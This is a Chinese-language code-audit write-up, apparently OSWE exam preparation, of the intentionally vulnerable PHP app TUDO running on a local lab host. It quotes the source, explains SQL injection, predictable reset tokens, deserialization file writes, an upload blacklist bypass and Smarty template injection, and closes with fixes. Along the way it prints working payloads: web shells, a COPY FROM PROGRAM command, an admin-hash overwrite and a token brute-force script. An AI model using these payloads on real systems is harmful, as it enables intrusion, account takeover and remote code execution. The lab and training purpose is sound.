【OSWE备考】GitHub Tudo项目 代码审计报告(中文版)

misaka19008 发布于 1 天前 18 次阅读 7822 字



项目基本信息

项目名称:bmdyy/tudo

项目简介:TUDO — A Vulnerable PHP Web App

项目地址:https://github.com/bmdyy/tudo

目标系统本地地址:http://192.168.9.50:8000/

目标:通过代码审计方法实现RCE的最终目标,共分为认证绕过、权限提升、任意代码执行三个过程,其中有2种认证绕过方法、1种权限提升方法和3种代码执行方法。


目录结构与技术栈

目标Web应用程序目录结构如下:

各个目录与文件具体用途如下所示:

  • admin:后台管理目录;
  • images:用户图片上传目录;
  • includes:站点类库程序目录;
  • style:前端静态资源目录;
  • templates/templates_c:用户模板目录;
  • vendor:站点Smarty模板类库与Composer引擎目录;
  • index.php:网站主页;login.php:网站登录页;profile.php:个人信息页面;
  • forgetusername.php:用户名查询页面;forgotpassword.php/resetpassword.php:用户密码重置页面。

目标Web系统使用Docker部署,各服务组件如下:

  • 操作系统:Debian Linux 13
  • Web服务器:Apache HTTP Server 2.4.66
  • 编程语言:PHP 8.5.4
  • 数据库:PostgreSQL (Docker Latest)

网站前台检查

打开目标地址:http://192.168.9.10:8000/

发现自动跳转到了登录页login.php。登录框底部存在3个链接:Log InForgot usernameForgot password。其中Log In为本页面链接,Forgot username跳转至用户名查询页,Forgot跳转至密码重置页。

除此之外,未发现其它信息,开始源代码审计过程。


源代码审计

现在通过通读所有源代码的方法,挖掘系统中的漏洞。

includes目录

Web应用的includes目录下共有6个文件,开始逐个分析:

db_connect.php

该文件的作用为定义数据库连接凭据变量,并初始化PostgreSQL连接句柄$db

<?php
    if (!isset($db)) {
        $host        = "host = tudo-db";
        $port        = "port = 5432";
        $dbname      = "dbname = tudo";
        $credentials = "user = postgres password = postgres";

        $db = pg_connect( "$host $port $dbname $credentials" );

        if (!$db) {
            echo "Error: Unable to connect to db.";
        }
    }
?>

可以看到站点数据库连接凭据全部被硬编码至配置程序中。

header.php、login_footer.php、logout.php

首先查看header.php

<?php 
    if (session_id() == "")
        session_start(); 
?>

<div id="header">
<b><a href="/">TUDO</a></b> -- <i>An anonymous forum for discussing classes at the <a href="https://www.tuwien.at/en/">Technical University of Vienna</a></i>

<?php if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] == true){?>
    <span style="float:right;">Logged in as: <a href="/profile.php"><b><?php echo $_SESSION['username']; ?></b></a>, <a href="/includes/logout.php">Log out</a></span>
<?php } ?>
<small style="color:#003366"><a href="http://github.com/bmdyy">&copy; William Moody, 2021</a></small>
</div>

经审计,发现该程序作用为输出站点HTML头结构,并开启PHP Session功能,如果用户登录,会将用户名直接输出在页面上,可能存在XSS问题。

接着查看login_footer.php

该页面的作用仅为输出登录页的HTML尾部结构,无程序功能。

最后为logout.php

<?php
    session_start();
    session_destroy();
    header('location:/login.php');
    die();
?>

该页面的作用仅为注销用户Session,并重定向客户端浏览器至index.php

createpost.php

createpost.php源代码如下:

<?php
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $lvaCode = $_POST['lvaCode'];
        $lvaName = $_POST['lvaName'];
        $professor = $_POST['professor'];
        $ects = $_POST['ects'];
        $description = $_POST['description'];

        if ($lvaCode!=="" && $lvaName!=="" && $professor!=="" && $ects!=="" && $description!=="") {
            include('db_connect.php');
            $ret = pg_prepare($db,
                "createpost_query", "insert into class_posts (code, name, professor, ects, description) values ($1, $2, $3, $4, $5)");
            $ret = pg_execute($db, "createpost_query", array($lvaCode,$lvaName,$professor,$ects,$description));
        }
    }
    header('location:/index.php');
    die();
?>

通过阅读源代码,可得知该页面的功能为创建文章。页面从POST请求中接收lvaCodelvaNameprofessorectsdescription5个参数,使用PHP PostgreSQL Client的预编译功能,将其插入class_posts数据表中。值得一提的是,程序开头并未启用Session功能校验用户是否登录,也未使用相关过滤函数(如htmlspecialchars())对参数内容进行过滤处理,这意味着任何未经认证的访问者都可以通过直接发送POST请求的方式,向class_posts数据表中插入任意数据,极大可能存在未授权访问和XSS问题。

utils.php

页面utils.php源代码如下:

<?php
    function generateToken() {
        srand(round(microtime(true) * 1000));
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_';
        $ret = '';
        for ($i = 0; $i < 32; $i++) {
            $ret .= $chars[rand(0,strlen($chars)-1)];
        }
        return $ret;
    }

    class User {
        public function __construct($u, $p, $d) {
            $this->username = $u;
            $this->password = $p;
            $this->description = $d;
        }
    }

    class Class_Post {
        public function __construct($c, $n, $p, $e, $d) {
            $this->code = $c;
            $this->name = $n;
            $this->professor = $p;
            $this->ects = $e;
            $this->description = $d;
        }
    }

    class Log {
        public function __construct($f, $m) {
            $this->f = $f;
            $this->m = $m;
        }

        public function __destruct() {
            file_put_contents($this->f, $this->m, FILE_APPEND);
        }
    }
?>

发现该程序定义了3个类和一个Token生成方法,我们首先分析generateToken()方法。

generateToken()方法中,程序首先使用microtime()方法获取了当前时刻精确到微秒的时间戳,随后将其乘以1000,使用round()方法四舍五入后,传入了srand()方法,生成了与时间相关的随机数种子,这意味着如果调用该方法时的时间戳被泄露或猜解,攻击者就可以生成正确的Token,导致时间令牌验证机制失效。

接着分析UserClass_PostLog三个类。User类存在成员变量usernamepassworddescription(即用户名、密码和用户描述),安全性相对较弱。Class_Post类存在成员变量codenameprofessorectsdescription,推测保存之前从createpost.php上传的文章相关数据。

Log日志记录类为此次分析的重点:该函数存在两个成员变量fm,即文件名变量和日志内容变量,类的析构函数__destruct()调用了file_put_content()方法,将m变量中的日志内容追加写入写入f变量中定义的日志文件路径内。如果站点程序的任何位置初始化了Log类对象,或使用unserialize()方法反序列化了任意字符串,都需要考虑是否存在任意文件写入的问题。

admin目录

includes目录审计结束后,对后台管理目录admin进行审计。

import_user.php

import_user.php源代码如下:

通过阅读源代码,可得知该页面为用户注册器。程序开头首先使用include()方法包含了includes/utils.php,随后进入新建用户的处理流程。程序首先判断请求类型是否为POST,若为POST请求,则读取userobj序列化对象字符串参数,如果不为空则调用unserialize()方法将其反序列化为程序对象,将对象中usernamepassworddescription三个成员变量的值插入users数据表中。上述操作既未使用Session机制判断用户是否登录,又未对传入的序列化字符串进行任何限制,联想到utils.php中的UserLog类,认为此处极有可能同时存在任意用户注册漏洞和由反序列化导致的任意文件写入漏洞。

在程序最后,当用户注册流程执行完毕,会使用header()方法将用户重定向至index.php,并关闭连接。

update_motd.php

update_motd.php源代码如下:

<?php
    session_start();
    if (!isset($_SESSION['isadmin'])) {
        header('location: /index.php');
        die();
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $message = $_POST['message'];

        if ($message !== "") {
            $t_file = fopen("../templates/motd.tpl","w");
            fwrite($t_file, $message);
            fclose($t_file);

            $success = "Message set!";
        } else {
            $error = "Empty message";
        }
    }
?>

<html>
    <head>
        <title>TUDO/Update MoTD</title>
        <link rel="stylesheet" href="../style/style.css">
    </head>
    <body>
        <?php 
            include('../includes/header.php'); 
            include('../includes/db_connect.php');

            $t_file = fopen("../templates/motd.tpl", "r");
            $template = fread($t_file,filesize("../templates/motd.tpl"));
            fclose($t_file);
        ?>
        <div id="content">
            <form class="center_form" action="update_motd.php" method="POST">
                <h1>Update MoTD:</h1>
                Set a message that will be visible for all users when they log in.<br><br>
                <textarea name="message"><?php echo $template; ?></textarea><br><br>
                <input type="submit" value="Update Message"> <?php if (isset($success)){echo '<span style="color:green">'.$success.'</span>';}
                else if (isset($error)){echo '<span style="color:red">'.$error.'</span>';}?>
            </form>
            <br>
            <form class="center_form" action="upload_image.php" method="POST" enctype="multipart/form-data">
                <h1>Upload Images:</h1>
                These images will display under the message of the day. <br><br>
                <input name="title" placeholder="Title" /><br><br>
                <input type="file" name="image" size="25" />
                <input type="submit" value="Upload Image">
            </form>
        </div>
    </body>
</html>

通过阅读源代码,易得知该页面的作用为更新网站模板文件motd.tpl,且访问该功能需要管理员权限。当确定访问者为admin用户后,程序会从POST请求中读取message参数,随后使用fopen()fwrite()方法打开motd.tpl,将参数内容直接写入,中间未经任何内容检查操作。接下来,靶机引入一些依赖库后,使用fopen()再次打开了模板文件,并使用fread()读取,随后直接输出到了页面上。单从该程序本身来看,此处应存在XSS漏洞:攻击者可通过该功能向模板写入script标签内容,触发XSS攻击。

upload_image.php

upload_image.php源代码如下:

<?php
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if ($_FILES['image']) {
            $validfile = true;

            $is_check = getimagesize($_FILES['image']['tmp_name']);
            if ($is_check === false) {
                $validfile = false;
                echo 'Failed getimagesize<br>';
            }

            $illegal_ext = Array("php","pht","phtm","phtml","phpt","pgif","phps","php2","php3","php4","php5","php6","php7","php16","inc");
            $file_ext = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);
            if (in_array($file_ext, $illegal_ext)) {
                $validfile = false;
                echo 'Illegal file extension<br>';
            }

            $allowed_mime = Array("image/gif","image/png","image/jpeg");
            $file_mime = $_FILES['image']['type'];
            if (!in_array($file_mime, $allowed_mime)) {
                $validfile = false;
                echo 'Illegal mime type<br>';
            }

            if ($validfile) {
                $path = basename($_FILES['image']['name']);
                $title = htmlentities($_POST['title']);

                move_uploaded_file($_FILES['image']['tmp_name'], '../images/'.$path);

                include('../includes/db_connect.php');
                $ret = pg_prepare($db,
                    "createimage_query", "insert into motd_images (path, title) values ($1, $2)");
                $ret = pg_execute($db, "createimage_query", array("images/$path", $title));

                echo 'Success';
            }
        }
    }

    header('location:/admin/update_motd.php');
    die();
?>

从文件名可以得知该程序作用为上传图片,且未经任何用户权限检查。程序首先从POST数组中读取image文件参数,并使用getimagesize()方法检查图片是否合法;接着,程序获取文件扩展名,并使用了黑名单机制检查是否为PHP相关后缀名;最后,程序定义了一个MIME类型白名单,检查上传请求头中Content-Type值是否为image/gifimage/jpegimage/png之中的一个。如果三项检查全部通过,程序就会使用move_uploaded_file()方法,将上传文件移动至images目录下,移动后的文件名和原始文件名保持一致。上传成功后,程序会使用PostgreSQL预编译方法,将图片文件名称和标题信息$_GET['title']保存到motd_images数据表中。

绕过上述检查的方法非常简单:攻击者只需上传一份名为shell.pHp的文件,保持Content-Type值为image/gif,同时在文件头部加入GIF图片头,就可通过所有检查:

GIF89a
<?php system($_GET['cmd']); ?>

值得注意的是,程序虽然执行了move_uploaded_file()方法,但该方法失败时不会报错退出,而是返回false值,显然,程序未对方法返回值进行检查,就直接执行了SQL UPDATE操作。

站点根目录

管理员功能目录与类目录审计结束后,对根目录进行审计:

index.php

网站主页面index.php源代码片段如下:

通读index.php源代码,发现该页面要求已登录的用户才能访问。页面存在3个功能:用户信息显示、motd.tpl模板渲染和文章显示,下面逐个分析各功能。

首先分析和用户信息显示的部分:

<?php if (isset($_SESSION['isadmin'])) {
  include('includes/db_connect.php');
  $ret = pg_query($db, "select * from users order by uid asc;");

  echo '<h4>[Admin Section]</h4>';
  echo '<table>';
  echo '<tr><th>Uid</th><th>Username</th><th>Password (SHA256)</th><th>Description</th></tr>';
  while ($row = pg_fetch_row($ret)) {
    echo '<tr>';
    echo '<td>'.$row[0].'</td>';
    echo '<td>'.$row[1].'</td>';
    echo '<td>'.$row[2].'</td>';
    echo '<td>'.$row[3].'</td>';
    echo '</tr>';
  }
  echo '</table><br>';
  echo '<b>Import user:</b> <br>';
?>
<form action="admin/import_user.php" method="POST">
  <input name="userobj" placeholder="User Object"> 
  <input type="submit" value="Import User">
</form>
<?php
  echo '<hr>';
} ?>

可以看到访问该功能需要管理员权限。该功能直接将用户的UID、用户名、密码哈希和用户描述直接显示了出来,且用户名、用户描述处未经任何过滤,结合import_user.php分析,认为此处存在XSS漏洞。

接着分析模板渲染功能:

<?php
  if (isset($_SESSION['isadmin']))
    echo '<a href="admin/update_motd.php">';
  echo '<h4>[MoTD]</h4>';
  echo '<div class="center_div">';
  if (isset($_SESSION['isadmin']))
    echo '</a>';

  require 'vendor/autoload.php';
  $smarty = new Smarty();
  $smarty->assign("username", $_SESSION['username']);
  $smarty->force_compile = true;
  echo $smarty->fetch("motd.tpl").'<br>';

  include('includes/db_connect.php');
  $ret = pg_query($db, "select * from motd_images order by iid desc limit 3;");
  while($row = pg_fetch_row($ret)) {
    echo '<figure><img src="'.$row[1].'" /><figcaption>'.$row[2].'</figcaption></figure>';
  }

  echo '</div>';
  echo '<hr>';
?>

通读该部分源代码,可发现该功能依旧需要管理员权限。程序加载了vendor/autoload.php,创建了Smarty模板对象,设置了username参数和强制重新渲染后,直接使用Smarty::fetch()方法加载了内容可被管理员控制的motd.tpl模板,认为此处存在SSTI RCE漏洞。

当模板加载完成后,程序会从motd_image数据表中查询出所有上传图片的信息,并输出到页面上。

最后看文章展示功能:

<?php
  include('includes/db_connect.php');
  $ret = pg_query($db, "select * from class_posts;");

  echo '<h4>[All Posts]</h4>';
  echo '<table id="class_posts">';
  echo '<tr><th>Lva Code</th><th>Lva Name</th><th>Professor</th>';
  echo '<th>ECTS</th><th>Comment</th></tr>';
  while ($row = pg_fetch_row($ret)) {
    echo '<tr>';
    echo '<td><i>'.htmlentities($row[1]).'</i></td>';
    echo '<td><u>'.htmlentities($row[2]).'</u></td>';
    echo '<td>'.htmlentities($row[3]).'</td>';
    echo '<td>'.htmlentities($row[4]).'</td>';
    echo '<td>'.htmlentities($row[5]).'</td>';
    echo '</tr>';
  }
  echo '</table><hr>';
?>

发现程序会从class_posts数据表中查询出文章内容,使用htmlentities()方法转义后输出到页面上,无XSS漏洞。

login.php

现在审计登录页面程序login.php

发现程序会从POST数组中读取usernamepassword参数,将password内容使用SHA-256方法取哈希值后,执行SQL SELECT语句向users数据表中查询usernamepassword字段符合输入的记录,如果返回记录条数全等于1,则设置Sessionloggedin变量为trueusername变量为输入的相应参数。如果usernameadmin,则设置Session变量isadmintrue,最后将用户重定向至index.php

profile.php

profile.php源代码如下:

<?php 
    session_start();
    if (!isset($_SESSION['loggedin']) || !$_SESSION['loggedin'] == true) {
        header('location: /login.php');
        die();
    } 

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (!isset($_POST['description'])) {
            $error = true;
        }
        else {
            $description = $_POST['description'];

            include('includes/db_connect.php');
            $ret = pg_prepare($db, "updatedescription_query", "update users set description = $1 where username = $2");
            $ret = pg_execute($db, "updatedescription_query", Array($description, $_SESSION['username']));
            $success = true;
        }
    }
?>

<html>
    <head>
        <title>TUDO/My Profile</title>
        <link rel="stylesheet" href="style/style.css">
    </head>
    <body>
        <?php include('includes/header.php'); ?>
        <div id="content">
            <?php
                include('includes/db_connect.php');
                $ret = pg_prepare($db, "selectprofile_query", "select * from users where username = $1;");
                $ret = pg_execute($db, "selectprofile_query", Array($_SESSION['username']));
                $row = pg_fetch_row($ret);
            ?>
            <h1>My Profile:</h1>
            <form action="profile.php" method="POST">
                <label for="username">Username: </label>
                <input name="username" value="<?php echo $row[1]; ?>" disabled><br><br>
                <label for="password">Password: </label>
                <input name="password" value="<?php echo $row[2]; ?>" disabled><br><br>
                <label for="description">Description: </label>
                <input name="description" value="<?php echo $row[3]; ?>"><br><br>
                <input type="submit" value="Update"> 
                <?php if (isset($error)) {echo '<span style="color:red">Error</span>';} 
                else if (isset($success)) {echo '<span style="color:green">Success</span>';} ?>
            </form>
        </div>
    </body>
</html>

通读源代码,发现该页面为用户信息管理页面,需要用户登录访问。程序从POST数组中读入description用户备注参数,未经过滤就将内容使用SQL UPDATE语句更新了users表中相应用户的description字段。此处极有可能存在XSS漏洞,但需要用户点击,利用可能性不大。

forgotusername.php

forgotusername.php源代码如下:

通读源代码,可知该页面的作用为查找用户名。程序从POST数组中读入username参数,随后直接将其拼接到了SQL SELECT语句中,使用pg_query()方法进行了查询。此处存在SQLi漏洞。

forgotpassword.php

forgotpassword.php源代码如下:

通读源代码,发现该程序为接收用户重置密码请求,并生成重置令牌的页面。程序从POST数组中接收username参数,随后使用预编译功能向users表中查询对应用户名记录,若返回记录数量为1,则调用includes/utils.php中的generateToken()方法,根据当前时间戳生成Token,最后获取username用户参数对应的UID,和Token一同插入tokens数据表中。

resetpassword.php

resetpassword.php源代码如下:

<?php
    session_start();
    if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] == true) {
        header('location: /index.php');
        die();
    }

    if ($_SERVER['REQUEST_METHOD'] === 'GET') {
        include('includes/db_connect.php');
        $ret = pg_prepare($db, "checktoken_query", "select * from tokens where token = $1");
        $ret = pg_execute($db, "checktoken_query", array($_GET['token']));

        if (pg_num_rows($ret) === 0) {
            $invalid_token = true;
        }
    }
    else if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (!isset($_POST['token'])) {
            echo 'invalid request';
            die();
        }

        $token = $_POST['token'];
        $password1 = $_POST['password1'];
        $password2 = $_POST['password2'];

        if ($password1 !== $password2) {
            $pass_error = true;
        }
        else {
            include('includes/db_connect.php');
            $ret = pg_prepare($db, "checktoken_query", "select * from tokens where token = $1");
            $ret = pg_execute($db, "checktoken_query", array($token));

            if (pg_num_rows($ret) === 0) {
                $invalid_token = true;
            } else {
                $uid = pg_fetch_row($ret)[1];
                $newpass = hash('sha256', $password1);

                $ret = pg_prepare($db, "changepassword_query", "update users set password = $1 where uid = $2");
                $ret = pg_execute($db, "changepassword_query", array($newpass, $uid));

                $ret = pg_prepare($db, "deletetoken_query", "delete from tokens where token = $1");
                $ret = pg_execute($db, "deletetoken_query", array($token));

                $success = true;
            }
        }
    }
?>

<html>
    <head>
        <title>TUDO/Reset Password</title>
        <link rel="stylesheet" href="style/style.css">
    </head>
    <body>
        <?php include('includes/header.php'); ?>
        <div id="content">
            <?php
                if (isset($invalid_token)) {
                    echo '<h1 style="color:red">Token is invalid.</h1>';
                    echo '<a href="#" onclick="history.back();return false">Go back</a>';
                    die();
                }

                if (isset($pass_error)) {
                    echo '<h1 style="color:red">Passwords don't match.</h1><br>';
                    echo '<a href="#" onclick="history.back();return false">Go back</a>';
                    die();
                }
            ?>
            <div id="content">
                <form class="center_form" action="resetpassword.php" method="POST">
                    <h1>Reset Password:</h1>
                    <input type="hidden" name="token" value="<?php echo $_GET['token']; ?>">
                    <input type="password" name="password1" placeholder="New password"><br><br>
                    <input type="password" name="password2" placeholder="Confirm password"><br><br>
                    <input type="submit" value="Change password"> 
                    <?php if (isset($success)){echo "<span style='color:green'>Password changed!</span>";} ?>
                    <br><br>
                    <?php include('includes/login_footer.php'); ?>
                </form>
            </div>
        </div>
    </body>
</html>

通读源代码,我们可以发现该页面作用为消费之前从forgotpassword.php生成的密码重置Token,并执行具体的密码重置操作;对于GETPOST请求,程序存在不同的业务逻辑。

当接收到GET请求时,程序会从token参数接收Token值,并通过使用PostgreSQL预编译查询,从tokens数据表中查询是否存在token字段和输入相匹配的记录,如果返回记录数量为0,则invalid_token变量会被设置为false,后续页面将会输出Token is invalid字样,否则不会输出任何与Token相关的提示。

当接收到POST请求时,程序会读入tokenpassword1password三个参数,在判断password1password2值相同、token值有效后(从tokens数据表中查询相关记录判断),程序会使用SHA-256哈希方法取新密码哈希值,接着获取Token查询返回结果集中的uid字段,根据该uid执行SQL UPDATE语句,修改users表中对应uid记录的密码哈希值,并从tokens表中删除当前使用Token

判断站点修改密码功能是否存在漏洞的关键点是includes/utils.php中的generateToken()方法。由于该方法使用microtime()生成的时间戳经过简单计算操作后的值作为随机数种子,因此使用该种子生成的Token值也是可被预测的,攻击者只需遍历发起请求后前后一小段时间的时间戳用于生成种子,就可以预测出正确的Token值。

综上所述,认为该处存在任意用户密码重置漏洞。


验证攻击链

Tudo找回用户名功能 SQLi漏洞

forgotusername.php程序的代码审计过程中,我们成功发现代码第12行处语句直接将传入的username参数拼接到了SQL语句中,造成SQL堆叠注入漏洞:

$ret = pg_query($db, "select * from users where username='".$username."';");

直接打开BurpSuite内置浏览器,访问http://192.168.9.10:8000/forgotusername.php,在用户名输入框中随便输入一个用户名提交:

接着将BurpSuite请求记录发送到Repeater,并尝试在用户名参数内容最后添加单引号破坏查询语句结构:

username=misaka19008'

页面返回了500错误码,而再添加一个单引号,页面又恢复正常,符合SQLi漏洞的特征。

尝试使用堆叠注入执行COPY FROM PROGRAM语句,进行RCE操作:

username=';create+table+cmd_text(cmd_out+text);copy+cmd_text+from+program+'id';--+-

成功通过SQLi漏洞执行任意命令!由于数据库所在容器并非主要容器,我们必须进一步扩大在Web程序上的利用链。使用SQL UPDATE语句可轻松更改管理员用户adminSHA-256密码哈希:

UPDATE users SET password = '3ed65ab4a0d462c946e3838222db76a37239eb925a858e69db4410928785b28c' WHERE username = 'admin';

请求包发送后,尝试使用admin用户登录后台:

成功!!确定该漏洞同时为审计目标中的权限提升漏洞,和一个初始登录绕过漏洞。

除了执行RCE操作,更改用户密码,该漏洞还可以通过盲注的方法探测站点内的用户名。

Tudo密码重置功能 任意普通用户登录绕过

在审计forgotpassword.phpresetpassword.phpincludes/utils.php的过程中,我们发现该功能高度疑似存在任意用户密码重置缺陷:由于执行密码重置操作所必须的Token值可被猜解,攻击者可以在获取系统内用户名的情况下,向应用申请Token,并进一步通过猜解出的Token值重置目标用户密码;下面通过编写脚本进行复现测试:tudo-arbitrary-user-password-reset.php

按照漏洞逻辑,脚本从命令行接收targetuserpassword三个参数并检查其合法性,检查通过后,在第15-30行处初始化了curl请求对象,将username参数放入POST请求数组中,发送请求至forgotusername.php,并记录发送开始和结束时的时间戳,存入begin_timestampend_timestamp变量;当响应内容字符串变量确实存在,且不含有User doesn't exist内容时,则继续执行下一段代码,否则退出:

/* Send a request to the forgotpassword.php page to create a token. */
$postdata = array("username" => $user);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target . "forgotpassword.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postdata));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$begin_timestamp = microtime(true);
$resp = curl_exec($ch);
$end_timestamp = microtime(true);
$time_passed = $end_timestamp - $begin_timestamp;
curl_close($ch);
if (!$resp) exit("[-] Please check your network or target URL!n");
if (strpos($resp,"User doesn't exist") !== false) exit(sprintf("[-] User %s does not exist.n", $user));
echo sprintf("[+] A token of valid user %s has been created.n", $user);
echo sprintf("[*] Begin Timestamp = %.4f, End Timestamp = %.4f, %.4f seconds passed.n[*] Generating possible token list ...n", $begin_timestamp, $end_timestamp, $time_passed);

下一段代码为最关键部分,作用为以0.0001为步长,遍历begin_timestampend_timestamp之间所有微秒级精度的时间戳,并以此为初始值,根据includes/utils.php中的逻辑生成所有可能的Token值:

$token_array = array();
for ($timestamp = $begin_timestamp; $timestamp <= $end_timestamp + 1; $timestamp = $timestamp + 0.0001) {
  srand(round($timestamp * 1000));
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_';
  $ret = '';
  for ($i = 0; $i < 32; $i++) {
    $ret .= $chars[rand(0,strlen($chars)-1)];
  }
  array_push($token_array, $ret);
}

接下来,程序会遍历token_array字符串数组中的每个Token,作为token参数,发送GET请求至resetpassword.php;如果响应内容中不存在Token is invalid.字样,则Token值正确,程序退出暴力破解循环,并发送tokenpassword1password2参数至resetpassword.php,当响应中出现Password changed!字样时,密码被重置,程序结束,整个过程逻辑较为简单,不再提供源代码。

尝试执行如下命令测试:

php tudo-arbitrary-user-password-reset.php http://192.168.9.50:8000/ user1 111111

成功!!确认为初始登录绕过漏洞。

Tudo导入用户功能 未授权反序列化漏洞

admin/import_user.php页面的审计过程中,我们已经发现程序在未经任何过滤的情况下,直接读入了POST参数userobj,并将其传入到了unserialize()函数中反序列化,最后调用pg_prepare()方法进行预编译查询,将序列化后的对象user中的usernamepassworddescription三个成员变量内容查询了users数据表中。结合程序开头引用的includes/utils.php中的User类和Log类,不难看出此处存在任意文件写入漏洞和用户注册问题。(站点用户注册功能理应处于关闭状态)

我们可通过运行如下PHP程序,生成恶意的PHP序列化对象字符串:

<?php
  class Log {
    public function __construct($u, $p, $d, $f, $m) {
      $this -> username = $u;
      $this -> password = $p;
      $this -> description = $d;
      $this -> f = $f;
      $this -> m = $m;
    }
  }

  $evilobj = new Log("", "", "", "/var/www/html/shell.php", "<?php system($_GET['cmd']); ?>");
  echo(serialize($evilobj));
?>

随后直接打开浏览器,访问/admin/import_user.php,并使用BurpSuite拦截请求包改写为POST请求:

点击发送后,访问shell.php,尝试执行id命令:

成功!!确认为RCE漏洞。

除此之外,由于在index.php中,如果登录用户为admin页面会在未经过滤或转义的情况下输出数据库内所有用户的用户名、密码哈希和用户简介信息,此处还存在一个XSS漏洞,其验证过程不再详细描述,但攻击脚本中将提供该攻击链的利用代码。

Tudo图片上传功能 未授权任意文件写入漏洞

admin/upload_image.php图片上传页面的代码审计过程中,我们已经发现了该功能存在任意文件写入漏洞,现在进行复现。

首先打开浏览器,使用题目提供的凭据登录admin用户,接着访问/admin/update_motd.php

随便选择一个文件,打开BurpSuite拦截后,点击Upload Image按钮,将请求包发送到Repeater改写,尝试将上传文件名改为shell.pHp

文件上传成功后,访问/images/shell.pHp,却发现文件未被解析:

使用了多种绕过方法,如添加第二后缀名、添加点号等,均发现无法解析。

尝试将文件后缀名改为.phar上传,再次访问,发现成功执行:

成功!!确认为RCE漏洞。

Tudo模板管理功能 SSTI漏洞

update_motd.phpindex.php的代码审计中,我们已经发现页面会加载motd.tpl模板渲染,且在update_motd.php中可以修改模板的内容,这样我们就可以在模板中添加SSTI指令,实现任意代码执行。

首先以管理员身份登录,访问/admin/update_motd.php

将模板修改为:

{php}echo shell_exec("id"){/php}

点击Update Message按钮,再次访问index.php

成功!!确认为RCE漏洞。


最终报告

1. Tudo项目 用户名查询功能 未授权SQL注入漏洞
风险等级:高危
描述:forgotpassword.php在接收用户名参数username时,在未经过滤的情况下将参数值传入了pg_query()方法,攻击者可通过堆叠查询和盲注查询、修改数据库内记录,甚至使用COPY FROM PROGRAM语句在数据库容器内执行任意命令。
修复建议:在项目内严格使用pg_prepare()方法进行预编译查询,禁止直接将参数拼接到查询语句中。

2. Tudo项目 找回密码功能 前台任意普通用户接管漏洞
风险等级:中危
描述:includes/utils.php中的令牌生成方法generateToken()使用当前时间戳作为随机数种子,导致生成的值可被预测,未经授权的攻击者可通过上述方法,向resetpassword.php发送密码重置请求,导致普通用户账户接管。
修复建议:强烈建议改写generateToken()函数,使用两个以上不同种类的源作为随机数生成种子,并添加双因素认证机制。

3. Tudo项目 后台添加用户功能 未授权任意文件写入漏洞
风险等级:高危
描述:admin/import_user.php直接接收了PHP序列化字符串userobj,并调用了unserialize()方法进行反序列化,将对象中的信息传入了SQL新建用户查询语句中,且为查验请求者身份,任意未经授权的攻击者可传递恶意序列化字符串,导致文件写入或命令执行。
建议:改写import_user.php,禁止将由用户控制的序列化字符串进行反序列化。

4. Tudo项目 图片上传功能 未授权任意文件写入漏洞
风险等级:高危
描述:admin/upload_image.php使用了黑名单机制过滤上传文件后缀名,且黑名单不全面,导致未经授权的攻击者可上传任意phar文件,导致代码执行。
建议:改写upload_image.php,使用仅具有图片后缀名的白名单检查文件,并在Apache配置中关闭phar文件解析。

5. Tudo项目 模板管理功能 授权模板注入漏洞
风险等级:高危
描述:admin/update_motd.php对管理员用户提供了站点模板管理功能,导致具有管理员权限的攻击者可修改motd.tpl模板文件,导致产生模板注入漏洞,进而执行任意代码。

本次代码审计项目到此结束

此作者没有提供个人介绍。
最后更新于 2026-03-30